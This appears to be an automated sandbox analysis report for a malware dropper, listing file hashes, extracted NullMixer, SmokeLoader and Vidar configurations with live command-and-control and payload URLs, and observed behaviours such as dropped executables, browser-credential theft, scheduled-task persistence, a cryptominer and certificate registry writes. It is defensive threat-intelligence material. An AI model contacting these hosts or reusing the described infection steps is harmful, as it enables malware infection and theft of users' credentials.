Analysis
-
max time kernel
106s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
28-02-2024 08:09
Static task
static1
Behavioral task
behavioral1
Sample
ab6a2896f6b05c4acb603916a2fd88ab.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
ab6a2896f6b05c4acb603916a2fd88ab.exe
Resource
win10v2004-20240226-en
General
-
Target
ab6a2896f6b05c4acb603916a2fd88ab.exe
-
Size
3.3MB
-
MD5
ab6a2896f6b05c4acb603916a2fd88ab
-
SHA1
956383c9f678c5d8a68bc52145f663cd7553cdcc
-
SHA256
4927f0b88f61a54fb9c8d14081cd5a80c6c6f358e8431af76fda5a5366d81aa8
-
SHA512
9d167ce51fadcd076ba7371e723555b2ff63932014b82671f5bf354fd6b58ee2fd3b9af0d6717b81bfe16a79c137e9a3170314fc48778b5d04c1ce8eec36b66d
-
SSDEEP
49152:EgcAx7veS1WN/Xt5E58xtDnX3r6g1YlRl0d8MajBdF9QsCt3e5F+IUgjOmWRrKI+:JF2S1WLeqpy/y8MuLON4j4KIVeB4Ybxz
Malware Config
Extracted
nullmixer
http://marisana.xyz/
Extracted
smokeloader
pub6
Extracted
vidar
39.9
706
https://prophefliloc.tumblr.com/
-
profile_id
706
Extracted
smokeloader
2020
http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/
Signatures
-
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar Stealer 3 IoCs
resource yara_rule behavioral1/memory/1692-225-0x00000000031F0000-0x000000000328D000-memory.dmp family_vidar behavioral1/memory/1692-226-0x0000000000400000-0x0000000002CC2000-memory.dmp family_vidar behavioral1/memory/1692-315-0x0000000000400000-0x0000000002CC2000-memory.dmp family_vidar -
XMRig Miner payload 1 IoCs
resource yara_rule behavioral1/memory/1888-509-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
resource yara_rule behavioral1/files/0x0006000000015f9e-42.dat aspack_v212_v242 behavioral1/files/0x0006000000015d06-56.dat aspack_v212_v242 behavioral1/files/0x0006000000015cf7-61.dat aspack_v212_v242 behavioral1/files/0x0006000000015d6e-66.dat aspack_v212_v242 -
Executes dropped EXE 19 IoCs
pid Process 2844 setup_installer.exe 2456 setup_install.exe 320 jobiea_6.exe 920 jobiea_4.exe 1948 jobiea_8.exe 2020 jobiea_2.exe 1856 jobiea_1.exe 552 jobiea_9.exe 820 jobiea_5.exe 1692 jobiea_3.exe 1644 jobiea_7.exe 2196 jobiea_1.exe 648 jobiea_9.exe 1896 chrome2.exe 2068 setup.exe 1548 winnetdriv.exe 2744 wsewfws 2640 services64.exe 2460 sihost64.exe -
Loads dropped DLL 47 IoCs
pid Process 1660 ab6a2896f6b05c4acb603916a2fd88ab.exe 2844 setup_installer.exe 2844 setup_installer.exe 2844 setup_installer.exe 2844 setup_installer.exe 2844 setup_installer.exe 2844 setup_installer.exe 2456 setup_install.exe 2456 setup_install.exe 2456 setup_install.exe 2456 setup_install.exe 2456 setup_install.exe 2456 setup_install.exe 2456 setup_install.exe 2456 setup_install.exe 2564 cmd.exe 1936 cmd.exe 2576 cmd.exe 1936 cmd.exe 2560 cmd.exe 920 jobiea_4.exe 920 jobiea_4.exe 2560 cmd.exe 2096 cmd.exe 2020 jobiea_2.exe 2020 jobiea_2.exe 1856 jobiea_1.exe 1856 jobiea_1.exe 1980 cmd.exe 1220 cmd.exe 1980 cmd.exe 1692 jobiea_3.exe 1692 jobiea_3.exe 1644 jobiea_7.exe 1644 jobiea_7.exe 1856 jobiea_1.exe 2196 jobiea_1.exe 2196 jobiea_1.exe 1212 WerFault.exe 1212 WerFault.exe 1212 WerFault.exe 920 jobiea_4.exe 920 jobiea_4.exe 1212 WerFault.exe 2068 setup.exe 1896 chrome2.exe 2640 services64.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
flow ioc 284 raw.githubusercontent.com 286 raw.githubusercontent.com 298 pastebin.com 300 pastebin.com 84 iplogger.org 85 iplogger.org 89 iplogger.org -
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ipinfo.io 15 api.db-ip.com 16 api.db-ip.com 4 ipinfo.io -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2640 set thread context of 1888 2640 services64.exe 71 -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\winnetdriv.exe setup.exe File created C:\Windows\winnetdriv.exe setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 1212 2456 WerFault.exe 29 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI wsewfws Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI wsewfws Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jobiea_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jobiea_2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jobiea_2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI wsewfws -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2896 schtasks.exe 2724 schtasks.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 jobiea_7.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 jobiea_7.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e jobiea_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec5290f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae474040000000100000010000000acb694a59c17e0d791529bb19706a6e420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 jobiea_7.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 jobiea_6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 jobiea_6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 services64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e4030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 jobiea_7.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 jobiea_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde services64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e jobiea_3.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 jobiea_6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d2